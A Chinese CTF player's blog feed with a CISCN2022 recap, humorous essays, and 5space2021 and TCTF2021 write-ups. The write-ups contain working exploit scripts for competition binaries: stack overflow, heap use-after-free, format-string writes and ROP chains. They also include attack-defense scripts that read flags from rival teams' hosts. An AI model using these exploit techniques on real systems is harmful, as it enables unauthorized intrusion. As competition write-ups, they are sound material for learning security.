普通视图

发现新文章,点击刷新页面。
昨天以前AiDaiP

参加 CISCN2022 是什么样的体验

2022年8月29日 08:00

参加 CISCN2022 是什么样的体验

4

StudentUnion

StudentUnion(STU)是 Blue-Whale 信息安全研究团队下属战队,成立于 2020 年 12 月,Crypto、Binary、Web 方向齐全。战队内本科生均为非计算机专业(通信工程、地质学、轮机工程、化学工程与工艺),所以取名为 StudentUnion,意为多专业学生联合。

战队 Logo 为《会气》,由核心成员 Surager 设计,主要元素是一个人型头像,配上中国海洋大学的标志波浪,下面是队名 StudentUnion,光晕象征着会气。

会气的意思是人体内阴阳两气会聚,出自《史记·扁鹊仓公列传》

扁鹊曰:“若太子病,所谓“尸蹶”者也。夫以阳入阴中,动胃繵缘,中经维络,别下於三焦、膀胱,是以阳脉下遂,阴脉上争,会气闭而不通,阴上而阳内行,下内鼓而不起,上外绝而不为使,上有绝阳之络,下有破阴之纽,破阴绝阳,色废脉乱,故形静如死状。太子未死也。夫以阳入阴支兰藏者生,以阴入阳支兰藏者死。凡此数事,皆五藏蹙中之时暴作也。良工取之,拙者疑殆。”

我们把题目比作阴阳两气,阳气代表已解出的题,阴气代表未解出的题,每次比赛都是阴阳两气会聚的过程,也就是会气。

是以阳脉下遂,阴脉上争,会气闭而不通,阴上而阳内行,下内鼓而不起。

解出的题过多,可能会导致选手麻痹大意,排名”静如死状“,但如果及时调整状态,仍然可以获得良好的成绩。解出的题过少,排名也”静如死状“,但这种情况基本上必死无疑。

夫以阳入阴支兰藏者生,以阴入阳支兰藏者死。

取会气之意作为 Logo,是希望我们在比赛中能够全程保持专注,即使出了问题,也能够”良工取之”。

良工取之,拙者疑殆。

1

StudentUnion 是一支年轻的战队,目前人数不足 10 人,现在面向中国海洋大学招新,想加入的同学可以查看《Blue-Whale 信息安全研究团队招新》或者发送简历到我的邮箱:wyxaidai@gmail.com。

初赛

👴🚪永远也不会忘记可信计算中的 cat flag 和 root 密码 toor,这在带比赛里很常见,就像👴🚪去夜店总是能遇到特价菜一样,网鼎杯中也有 read flag 和 gcc leak。

剩下的👴忘了。

华东北之👶

👴

线上比赛,👴做了什么题👴不记了,👴只记得有一堆 1200 分的 Misc。

最后第四,第一是华东北之👴,第二是华东北之👨,第三是华东北之👦,第四是华东百之👶。

捡了个国一

打初赛和分区赛时👴在上海,👴的小黄鸭在学校。后来鸭子回家了,👴还在上海。

3

2

比赛延期又改成线上,赛制是 Break&Fix,没了 awd 的快速上车,👴一度感觉要寄了。

👴一直批判 Break&Fix 赛制,但👴这次在赛制上占了便宜,捡了不少漏。🎩🎩没有复刻去年的 check 全过 exp 全过,👴也没有 exp 全不过 check 全不过。👴只是随便改了点东西,Fix 就过了,分就有了。

第一天开局两分钟,UserManager nop free,Fix 通过,👴就知道这次比赛可以瞎搞了。

比赛中常见的 Fix 方法:

  • nop free/syscall(UserManager、tmpfs、pwn_vvvvmmmm)

  • mmap 7 改为 3(oldvm、cgi)

  • 缩小 size(SafeParse、mvvm)

👴正经修的应该只有一个 off-by-one(pwn_stream)

数据安全_safeql 是龙鸣题目,在安全的 sqlite 中插入不安全的菜单题,就是数据安全,致敬 2021 第五空间的经典赛题数据安全_sqlite。这是个堆溢出,👴把溢出点修了,但是 fix 不过,👴没想明白。

剩下的👴忘了。

最终👴🚪比去年倒退两名,以第七名捡到国一,👴在抽奖环节稳定发挥,斩获全国二等奖。

决赛不让连接自己的服务器做题,当然这个服务器也装箱拉走了,让连也没法连,所以👴只能开虚拟机。👴的电脑可能不行了,比赛中开虚拟机出了不少问题,刚好赛后拿了奖金换一台,这让👴有了换电脑的借口,赚了。

今年没奖金。

亏了。

连打四年 CISCN 是什么样的体验

👴已经没感觉了。

凑数

每年都写,所以今年也凑一篇。全程线上比赛,再加上赛题比较抽象(toor!nop free!),确实没啥写的,开头那一坨还是抄的《参加 CISCN2021 是什么样的体验》。所以👴这篇完全就是凑数,建议等陈延毕的博客。

本来今年可以去天津和各位🚬🐘人一起朝圣,但是因为疫情只能家里蹲了。

你咋到哪都先拉屎。

——ccx

如果没有疫情,👴在比赛当天应该像一个天才嗨客一样,手握卷纸找撤硕。如果👴伸出了手并摸到了把手,那么这里一定是有人的,如果👴准备伸出手却被人抢先一步,那么这里一定是没人的。但是这次线上比赛,👴在家,比赛前,想怎么拉就怎么拉,比赛中,只要向裁判报告,十五分钟内想怎么拉就怎么拉。

没有公费旅游,没有公款吃喝,没有酒店自助,没有茶歇区,没有晚宴,没有盒饭,👴什么都没吃到,还是从 0.075 吨回到了 0.09 吨,亏了。

队费见底,估计支撑不了线下的吃喝,线上比赛,赚了。比赛日中午直播吃了碗卤面,估计花了十块钱巨款,谁给👴把饭钱报了。

这次没去成天津,上次去还是 5space2021,里面挖了不少坑,日后慢慢填。

👴整了个龙鸣号,以后同步更新。

5

>

他是个几把!

2022年6月7日 08:00

他是个几把!

👴不知道👴是个什么几把玩意,👴大概就是个几把。

old-man_1f474

我听说在带学中,单独的一个姓名是没有意义的,只有(在姓名)前面附上列表,后面配上段落,(这个姓名)才有了意义。只有优秀的学生才能成为圣人,普通的学生就像是腐烂稻草生出来的萤火虫所散发出的光,怎么能比得上天空中的月亮?

学生应该成为上天定义的圣人,这是天道的意志,是不容置疑的道理。不能成为圣人的人是可悲的,(他们的)经历是没有意义的,人生是失败的,思想是没有价值的,没有人会记住他们的名字。顺从天道的就生存,违背天道的就灭亡,大概就是这样的吧!

有学生问:我的列表和列传是不值一提的,想成为圣人,(这难道)是可以的吗?唉!这样是不聪慧的,就像每条路都能通向阿姆斯特丹一样,成为圣人并不是只有一种方法,只要在某个方面达到(圣人的)标准,那么就可以成为圣人。Warpper,也是带学中贤能的人,即使是圣人,也要学习 Warpper 的智慧。在 Warpper 中达到(圣人的)标准,就可以成为圣人。我听说 Warpper 在古时候可以得到华丽的住所、妻妾的侍奉和熟识的穷人的感激,现代的 Warpper 难道不能得到自己想要的东西吗?遵循 Warpper 的道理,即使没有成为圣人,也能得到(想要的东西)。

学习先贤的智慧,顺应天数的变化,协调鬼神的沟通,这些都是 Warpper 应该遵循的事情。成为圣人的 Warpper,(他们的)事迹将载入史册,学习他们的智慧,这难道不是一种传承吗?天数发生变化,神器将会更替,最终归属于有德行的人,这难道不是自然的道理吗?古人说,祭祀是重要的事,这难道不是 Warpper 的大事吗?Warpper 的智慧不止适用于学习,贤能的 Warpper 会将智慧拓展到每一个角落,和美丽的异性交往,与学问渊博的人交谈,难道不可以使用(Warpper 的智慧)吗?

学生在进入带学时,就会被教育如何成为圣人,聪慧的学生将会探索出成为 Warpper 的道路,或者顺着前人的道路成为 Warpper,只有最愚笨的学生永远无法成为 Warpper。我曾走入夜店倚靠着沙发,仰天花板长声啸叹,华美的盘子装着人均三十的食物,而我却把筷子扬了吃不下饭,我也想成为一名高贵的 Warpper,这样我就不再是一个几把!我可以成为成功的人,可以成为圣人,甚至可以成为贫穷的人,这难道不是成功的人生吗?唉!可惜我是一个愚笨的人,永远也无法成为 Warpper。

我听说樱花丛和枯树中都有路牌,Warpper 和圣人活在樱花丛中,(活在)枯树中的,也就成为了几把。唉!我就是个几把!

jb

>

亏晦二象性

2022年6月1日 08:00

亏晦二象性

赚了可能亏了,亏了不会赚了。

亏了可能晦气,晦气一定亏了。

👴日三瞎几把想👴身:赚了🐎?亏了🐎?晦气🐎?

2020 的主题是赚了、亏了、晦气

赚了,看不到亏了,由赚到亏,亏中有晦。

亏了,却想着赚了,终于晦气。

晦气,看不到亏了,以为赚了,却是亏了,想赚,晦上加晦。

赚了是真的赚了,可能无亏无晦。晦气是真的晦气,必然是亏了。亏了,血亏,亏中有晦,晦中有亏。

赚了可能走向亏了,亏了走不到赚了却会走向晦气,晦气是个几把。

有赚有亏,可以论亏,可能是晦气,若晦必亏。赚了的晦气可能赚了但必然亏了,亏了的晦气必然是亏了。

2021 的主题是🐏了。

把赚了🐏了,是亏了吗?把亏了🐏了,会晦气吗?把晦气🐏了,能赚了吗?

赚了是真的赚了,可能亏,但一定赚。

亏有赚势而不🐏,赚势必不存在,血亏。

亏有亏势而不🐏,血亏。

亏有晦势而不🐏,晦气。

🐏亏止亏,🐏亏止晦。

晦气是真的晦气,🐏了不赚,但不🐏一定晦气。

该🐏不🐏,晦上加晦。

把赚了亏了,打火机也没了

把亏了赚回来,你比太深都牛逼

把晦气赚回来,赚的都是冰红茶滴水儿

🐏了赚了,可能亏了。

🐏了亏了,止亏止晦,还是亏了。

🐏了晦气,就是🐏了晦气。

赚而复亏,亏晦不止,亏中有晦,晦中有亏。

快过年了,给带🔥送上新年祝福:

陈延毕:2022 希望带🔥都能远离晦气

把赚了、亏了、晦气都🐏了,不赚、不亏、不晦气。希望带🔥都能远离赚了、亏了、晦气。

2022 的主题是,👴也不知道是什么,半年后再见。

下期预告:《》

>

5space2021-WriteUp

2021年12月14日 08:00

5space2021-WriteUp

5space 2021 Quals

去年👴🚪打这个比赛最后十分钟被淦到六十多名,今年⑧能继续白给

👴是第一个到贵室的人,开局交一发签到 flag,交半天交不上去,刷新一下隔壁 pwn 一血出了

👴:?

👴直接点开 Pwn 进行一个题的🐏

bountyhunter

简单栈溢出

from pwn import *
elf = ELF('./pwn')
payload = 'a'*0x98+p64(0x40120b)+p64(0x403408)+p64(elf.sym['system'])
r.sendline(payload)
r.interactive()

然后去看弱智图片隐写

alpha10

binwalk 发现有图片,foremost 分出来

两张图片,一张 png,一张 jpg,png 左侧有明显蓝点,jpg 是原图。

两张图片其中一张是原图,猜测是盲水印,用工具试一下

https://github.com/chishaxie/BlindWaterMark

bwmforpy3.py decode 00001537.jpg 00001404.jpg flag.jpg

不清楚,根据题目名,加上参数

bwmforpy3.py decode 00001537.jpg 00001404.jpg flag.jpg --alpha 10

得到清晰图片

👴第一次见数据安全题目,做了一下👴终于懂了什么叫忽悠领导

sqlite3

套壳菜单题,给了 diff 文件,下载对应源码 patch 上去

patch -p0 sqlite3.c patch.diff

看源码发现调用 minmaxFunc() 可以操作菜单,libc-2.27 UAF 直接打。uaf show 泄露 libc 然后 uaf edit tcache attack 打 freehook

# https://www.sqlite.org/download.html
# patch -p0 sqlite3.c patch.diff
from pwn import *
#a
# = process("./sqlite3")
libc = ELF("./libc-2.27.so")
context.log_level ='debug'

menu = lambda x: a.sendline(str(x))

def add(idx,size):
    payload = "select max({},{},{});".format(0,idx,size)
    menu(payload)

def edit(idx,offset,val):
    payload = "select max({},{},{},{});".format(1,idx,offset,val)
    menu(payload)

def show(idx):
    payload = "select max({},{});".format(2,idx)
    menu(payload)

def free(idx):
    payload = "select max({},{});".format(3,idx)
    menu(payload)

add(0,0x500)
add(1,0x10)
free(0)
show(0)
libc_base = u64(a.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))

add(0,0x30)
add(2,0x30)
free(0)
free(2)
edit(2,0,libc_base+libc.sym['__free_hook']-8)
add(3,0x30)
add(4,0x30)
edit(4,1,libc_base+libc.sym['system'])
edit(4,0,29400045130965551)
free(4)
a.interactive()

数据安全:往安全的数据库里面塞一个不安全的菜单题

平台炸过一段时间,延长到 21:50,倒数到零

1

《活着》

天津旅游

所以👴🚪就来到了天津,👴这次大伏笔,没带小黄鸭

三万👴:充电器电脑和手机 电脑 转接头 鸭子

👴:身份证学生证

👴:艹,没带鸭子

👴在《夜彳亍》中提到了 L_2,这位👴在天津上带学,带悦城离火车站、学校、酒店距离都刚好,👴🚪在这胜利会师

👴:这位👴是《夜彳亍》中的 L_2

👴:这位👴是三万👴,这位👴是 housebuilding,这位👴是🎩👴

👴:都是看👴博客的人嗷

中央已经决定了,公款吃喝,整丶烤肉

2

两个阿姆斯特丹人总会扯到跑路回阿姆斯特丹,顺便给带🔥讲了一下《AiDai 的来历及其正确读音》,👴光顾着扯淡了,吃的不多,没回本,血亏。

吃完 L_2 去找🚺,👴🚪跟着三万👴走去看旅行🐸去过的瓷房子。

5space 2021 Final

👴只想拿个保底

比赛平台是赛宁的,7k 赛制。赛前问主办方是否提供流量,说是没有,但是👴进入靶机直接 cd package,发现是实时流量。

👴是上🚗的神

开局致敬华东北,ssh 连不上,但是有的队伍已经开打了。🎩🎩看着 web 靶机被日,ssh 还连不上,源码都不知道长啥样,👴也一直试 ssh,连上去只有一瞬,但👴拽下了流量。

因为你我会记住那一分钟

wireshark 打开 search flag,复制粘贴日了个队伍,让🎩🎩先拿 payload 日全场把分拿了再解决其他问题。

easyjs 开始有人日全场,payload 很简单,直接抄。

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    r.recvuntil('>')
    r.sendline("read('/flag')")
    r.recvuntil('"')
    data = r.recvline()[:-2]
    data = data.replace('\\n','')
    log.info(data)
    r.close()
    return data

抄完上去把对应的函数给扬了。

三万👴看 serral,👴搁这抄流量,compiler 有个 system("/bin/sh");,经典后🚪。流量很好抄,复制下来就能用

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    sh = "61616161626262627878787871797979616a6b6c28297b7d696e74206d61696e28696e7420612c20696e742062297b20202020696e7420746d703b20202020746d70203d2061616161626262627878787871797979616a6b6c28293b2020202072657475726e20746d703b7d".decode("hex")
    len1 = len(sh)
    r.sendlineafter("Program size:",str(len1))

    r.sendafter("Content:",sh)

    r.recvuntil('Seeing a function main\n')
    r.sendline('cat flag')
    #r.interactive()
    data = r.recvline().strip()
    log.info(data)
    r.close()
    return data

后🚪🐏了,改成 system("/bin/ls");

housebuilding 宣布 easyjs 出新 exp,抄他🐎的

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    payload = '''a = "111111111111111111111";        print(a[0x7331]);        leak_libc = (((a[5] + 0x100)&0xff) * 1099511627776) + (((a[4] + 0x100)&0xff) * 4294967296) + (((a[3] + 0x100)&0xff) * 16777216) + (((a[2] + 0x100)&0xff) * 65536) + (((a[1] + 0x100)&0xff) * 256) + (((a[0] + 0x100)&0xff)) ;        b = "ccccccccccccccccccccc";        print(b[0x1337]);        leak_heap = (((b[5] + 0x100)&0xff) * 1099511627776) + (((b[4] + 0x100)&0xff) * 4294967296) + (((b[3] + 0x100)&0xff) * 16777216) + (((b[2] + 0x100)&0xff) * 65536) + (((b[1] + 0x100)&0xff) * 256) + (((b[0] + 0x100)&0xff)) ;        system_t = leak_libc + 0x453a0 - 0x20750;        c = "/bin/sh";        b[0x6490e0 - leak_heap] = system_t;        print(c);'''
    r.sendline(payload)
    r.sendline('echo yeye5')
    r.recvuntil('yeye5')
    r.sendline('cat /flag')
    r.recvline()
    data = r.recvline().strip()
    log.info(data)
    r.close()
    return data

🎩🎩闷声发大财,一个人看三台靶机。后来 web 🔒了,🎩🎩坐牢,这比赛确实有丶离谱了,来丶名场面

5

6

三万👴用格式化字符串日 serral,应该是拿了一血,天神下凡,开冲一等奖,pwn 下班


def exp_pwn(ip):
    port = 9999
    #ip = '172.35.9.12'
    r = remote(ip,port,timeout=2)
    #r = process("./serral")
    #context.log_level='debug'
    def insert(p):
        print p
        package = ("b90501bd"+hex(len(p)//2)[2:].rjust(2,'0')+p+"bd00bd0000").decode("hex")
        return package

    def printf(p):
        package = ("b90506bd"+hex(len(p)//2)[2:].rjust(2,'0')+p+"bd00bd0000").decode("hex")
        return package

    package = "b90500bd0561646d696ebd0100bd0141853402".decode('hex')
    l = len(package)

    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)

    payload = "aaaa%125$p".encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    r.recvuntil("0x",timeout=0.5)
    libc_base = int(r.recv(12),16)-0x21bf7
    if libc_base<0:
        r.close()
    #success(hex(libc_base))

    payload = "aaaa%127$p".encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    r.recvuntil("0x")
    stack = int(r.recv(12),16)-0xe0
    #success(hex(stack))
    if stack&0xffff > 0x2000:
        r.close()
    payload = ("%"+str(stack&0xffff)+"c%127$hn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    #payload = fmtstr_payload(offset, writes)
    one = libc_base+0x4f3d5
    payload = ("%"+str(one&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter("Content:",package)
    payload = ("%"+str((stack&0xff)+1)+"c%127$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    payload = ("%"+str((one>>8)&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter("Content:",package)
    payload = ("%"+str((stack&0xff)+2)+"c%127$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    payload = ("%"+str((one>>16)&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter(" Content:",package)
    r.sendline('l')
    sleep(0.5)
    r.sendline('cat flag')
    r.recvuntil('Packet length: Content: ')
    flag = r.recvline().strip()
    log.info(flag)
    return flag
    r.interactive()

这个 exp 有一定概率不出,👴现场改了一波自动化脚本,对于运气不好(在对面角度是运气好)的靶机,👴亲手日。

三万👴顺手把洞修了,👴🚪看流量发现 0ops 一个巨™长的 exp,好像能日👴🚪。比赛结束前,0ops 疯狂上分,👴怕被扬了,分析一波,如果 serral 👴🚪只能被他们日,他们一轮在👴🚪这能拿 100 分,👴🚪应该把题扬了,把分散给穷人。👴先去找主办方

👴:👴能不能把自己扬了

主办方:彳亍

housebuilding 觉得不妥,建议稳一手。

👴、三万👴:你说了不算,二比一,中央已经决定了

在一轮的末尾👴连上靶机 rm serral,checker 来了就宕机。这轮结束 0ops 上的分果然少了,鸥剋。

最后第二,喜提五万,赚了。

7

13

14

9

10

11

12

👴-2021.12.14

👴当时心态有丶崩(准确的说是全™炸了),所以博客一直拖更,这篇早写好了但是没扬上去,本来想加丶东西,但是👴没心情写,现在👴翻出这篇🐎rkdown 文档,typora 已经开始收钱了,👴想加点东西,但是什么也想不起来了。

2021.10.11,👴🚪打完第五空间决赛返校,在🚝👆👴和 housebuilding 完成了 211011 谈话,开启了🐏📄带行动。

但是没有解决👴的问题。

housebuilding:出去转转⑧

2021.10.15,gank B407。

好像好起来了,好像又不太对。

2021.10.20,北京跑毒。

2021.11.11,👴从青岛飞到无锡苏南硕放机场,也就是 7k 机场,与 7k👴在苏州胜利会师。在 11.19 7k 一周年之前,和 7k👴吃小笼包给 housebuilding 看。

8

和 7k👴玩了三天,没有解决👴的问题。

2021.11.13 返程,地铁坐正以为坐反,下车又上车发现越走越远,压哨到高铁站,身份证刷不进,去机场的高铁票买的是第二天。

7k👴:飞机没坐反吧?

打车去机场,路上发了条消息。

2021.11.14,打了个电话。

2021.11.15,《顺便》

2021.11.21,和 housebuilding 夜店。

👴:半个月后见

2021.11.22,广州。

👴

可能会有一篇博客专门写这些吧。

>

TCTF2021-WriteUp

2021年10月1日 08:00

TCTF2021-WriteUp

👴🐋上一次打进 TCTF Final 还是 2018 年

👴🐋历史最佳战绩是第 7 名

TCTF2017 第 7 名

TCTF2018 第 12 名

TCTF2019 寄

TCTF2020 寄

TCTF2021 Quals

只有这种带比赛👴🚪才会上 Blue-Whale,其他时候用的都是 StudentUnion,上次上带号还是 X-NUCA 2020,👴🚪追平了历史最佳战绩,实现了个人赛零的突破。

👴想起了👴第一次比赛, 2018 年蓝盾杯,报名就能去。

housebuilding:中央已经决定了,你去打蓝盾杯

俩 17 级的带👴打,去了两队,最后👴队一共做了七题,👴做了五题,另一队一共做了两题,👴觉得这可能是👴最后一场比赛了。🌶时👴还没有开始写博客,👴只记得👴在车上满脑子问号

?????????????????????????

🌶是👴🐋最黑暗的时代,👴🚪对比赛的态度都是

报一下,随便打,体验比赛,反正也进不去

👴想起了两年前的 TCTF2019,👴还是个带一年轻人,housebuilding 对👴说:

周末有 TCTF 可以打一下

👴🚪白给了

两年后,TCTF2021

👴:TCTF 必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴在《参加CISCN2021是什么样的体验》中提到过 7.3-7.5 TCTF2021 Quals,恰逢期末考试

👴:👴考完光电(喷射)光速上线

7.5 👴在宿舍夜里的智慧,杰哥扬了道题,电脑没电下班,👴和 housebuilding 继续。

当别人怀疑你囤 flag 时,你最好真的囤了。

四点,👴交了囤的 flag,爆了楼上菊花。

五点多收拾收拾东西,躺床上睡会,等着回阿姆斯特丹。突然想到有一趟七点四十的🚝,直接改签,背着包出门到地铁站,学习了青岛地铁运营时刻表,打了个车直奔青岛北。

2021/7/5 5:24:47

👴:现在甚至可以直接改签七点四十的车

车上继续看题,看不出来个 flag,👴拿个电脑也不像什么商务人士,屏幕上花花绿绿跟 dir 溢出一样,希望没人把👴当成不法分子或者泰若瑞斯特。

让我们一起祈祷其他队伍漏油

九点四十,囤 flag 的开始交了

👴:👴🚪为了让带🔥夜里好好休息,谦逊地囤 flag。他们为了上分,竟然恬不知耻地囤 flag。

又到了倒数到零环节

2021/7/5 9:59:50

三万👴:10

👴:倒数到零

2021/7/5 10:00:07

👴:鸥剋兄弟们

👴:全体目光向👴看齐,看👴看👴

👴:👴宣布个事

👴:👴🚪是擦边的神

2021/7/5 13:09:30

housebuilding:👴醒了

👴:活着

6

👴🚪再次擦边进了决赛。

赛前准备

中央已经决定了,所有人都去线下,酒店挤一挤,车票均摊。结果疫情🛫,痛失上海旅游。

主办方要求录视频,👴🚪不想把 b 脸给露了,在贵室找了几个替身,比如下面这个在看题的 7k👴(摄于 2019.10.13)

13

拿替身挡着 b 脸,布置一下桌面和背景,桌上放 TCTF2018 第 12 名的牌子,后面放 StudentUnion 的旗子,三万👴喊口号:

抓法师,扬晦气!

👴🚪是中国海洋带学 Blue-Whale 战队,👴🚪来拿第 12 名了。

线上比赛,主办方把东西都寄过来了

14

15

货到贵室后👴🐎👆扫了一辆电动车过去,每包里面是一个 flag,一件衣服,一个像项圈老哥脖子上挂的项圈一样的项圈风扇,一张 TCTF2021(全息)

海报不错,还有个戴🧢的人,战力自评全为 1 不是因为谦虚🔔smoke(放烟雾弹),是因为👴🚪想整活。

12

防止有人摸🐟,👴🚪又翻出了批斗带会

👴:谁当蹭哥就召开批斗带会批斗谁

housebuilding:必须批斗

👴:必须批斗

housebuilding:必须批斗

👴:必须批斗

housebuilding:必须批斗

👴:必须批斗

210921 赛前讲话

👴拿自己祭了旗

三年前👴只能看着,两年前👴踏🐎还是只能看着,一年前👴还踏🐎在白给,👴⑧是三年前的👴,👴🐋也⑧是三年前的🐋

在这之后没有什么能挡住👴

——2018.11.11《181110》

扬了过去所有的白给,👴🚪必须实现超越,去创造历史。

为什么👴只能看着,👴就他妈活该看着吗?

——2019.11.10《191110》

或者逃,但是👴不想逃,也逃不掉

🐏还是不🐏,这是一个问题

——2020.11.10《201110》

👴在 9.21 夜彳亍时发表重要讲话:

👴:周末 TCTF 所有人都踏🐎跟👴钉在贵室

👴:所有人都踏🐎跟👴钉在贵室

👴:所有人都踏🐎跟👴钉在贵室

👴:不要让战斗停下来,目标前五,必须超越历史最佳战绩

👴🚪必将在比赛中倒数到零

差一个倒数到零,放在最后

——2021.09.14《夜彳亍·彳》

历史会记住 210921,历史会扬了 210921。

扬了。

扬了!

——2021.11.10《211110》

Day1

赛前夜彳亍到贵室,收拾桌子,人人有屏用。把 7k👴放到桌子上,flag 摆好

9

第二天早上到贵室先把直播打开,等着看👴🚪的 b 脸

10

securejit2

白给题

数组越界👴直接宣布👴能劫持控制流,三万👴同时宣布可以通过越界写数组首地址实现任意地址写,👴🚪只要解决 leak 就可以把题扬了

但是 leak ⑧好整,到饭点了,准备吃饭。走出实验室带🚪,👴突然想到 python 是不是没开 PIE?刚走出带🚪的 housebuilding 扭头走进贵室走进 docker 跑了一个 checksec,没有 PIE,没有 PIE!没有 PIE!!

但是👴🚪还是选择先吃饭,痛失一血。

先吃,先吃

在樱花带道上,👴、housebuilding、杰哥、三万👴不忘比赛,拿下了口头一血。

👴:往 Python 里面跳,👴宣布这题扬了

housebuilding:python 里面有什么可以利用的函数🐎?

👴:ROP 淦他🐎的,梦回栈溢出

三万👴:ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

system = 4322528
read = 4322336
pop_rdi = 4331634
pop_rsi = 4330906
pop_rdx = 4204225
_open = 0x41FCE0
write = 0x420880 
bss = 10815904
fuck = [pop_rdi,0,pop_rsi,bss,pop_rdx,10,read,pop_rdi,bss,pop_rsi,4,_open,pop_rdi,3,pop_rsi,bss,pop_rdx,100,read,pop_rdi,1,pop_rsi,bss,pop_rdx,100,write]
for i in range(len(fuck)):
    print("a[{}]={}".format(264+i,fuck[i]))


from pwn import *
payload = '''
def main():
    fuck()

def fuck():
    a = array(1)
    a[264]=4331634
    a[265]=0
    a[266]=4330906
    a[267]=10815904
    a[268]=4204225
    a[269]=100
    a[270]=4322336
    a[271]=4331634
    a[272]=10815904
    a[273]=4330906
    a[274]=4
    a[275]=4324576
    a[276]=4331634
    a[277]=3
    a[278]=4330906
    a[279]=10815904
    a[280]=4204225
    a[281]=100
    a[282]=4322336
    a[283]=4331634
    a[284]=1
    a[285]=4330906
    a[286]=10815904
    a[287]=4204225
    a[288]=100
    a[289]=4327552
EOF
'''
r = remote('118.195.199.18',40404)
r.sendline(payload)
sleep(0.1)
r.sendline('/home/pwn/flag\x00')
r.interactive()

boynextdoor

人工智障 b 脸识别,上传一张和给定 b 脸欧氏距离小于 0.25 的 b 脸。

housebuilding、如来冯老师、王老师折腾了一下午,👴pwn 做不出来去看了一眼,想起了🌶年湖湘杯👴扬了一道人工智障语音识别。

👴:👴手画一张就彳亍啊

coin 割割:肯定⑧彳亍

👴:你⑧懂

👴看他们跑数据集,距离比较小的都是亚洲女性,百度搜亚洲女性平均脸,找到一张图。

2

挨个试,第二个最小,0.37 左右。

👴:👴找到一张 0.37 的脸

打开画图,开始当带艺术家,画一笔跑一下,最后淦到 0.26。

4

coin 割割:?

再往低走👴画不出来了,开始加随机噪声

import face_recognition
import face_recognition_models
import shutil
from PIL import Image
from PIL import ImageFile

keyface_encoding=[
 -8.69139656e-02,  8.30148682e-02 , 1.45035293e-02, -1.27609253e-01,
 -1.42700657e-01, -1.58593412e-02 ,-9.87722948e-02, -1.23219922e-01,
  1.22708268e-01, -1.35270610e-01 , 2.30035380e-01, -1.23880222e-01,
 -1.93354771e-01, -8.94580930e-02 ,-7.93846995e-02,  2.35654935e-01,
 -1.81906566e-01, -1.34962142e-01 ,-1.31788421e-02, -1.04968855e-02,
  4.10739481e-02,  2.44885264e-03 , 8.52121785e-03,  5.79290688e-02,
 -1.15343466e-01, -3.23355764e-01 ,-8.69766697e-02, -2.12586801e-02,
 -9.11531225e-02, -3.72300223e-02 ,-2.80866250e-02,  1.02462806e-01,
 -1.71462923e-01, -2.73887850e-02 , 4.65847105e-02,  6.94189966e-02,
  2.20984984e-02, -8.01130161e-02 , 1.72256276e-01,  1.52742490e-04,
 -2.54432797e-01,  5.17657027e-02 , 1.13474540e-01,  2.19928578e-01,
  1.68304369e-01,  1.28403883e-02 ,-1.04458071e-02, -1.59635231e-01,
  1.74563184e-01, -1.74656272e-01 , 1.19449571e-04,  1.32924736e-01,
  4.52756137e-02, -5.11706285e-02 , 1.84679162e-02, -7.74622187e-02,
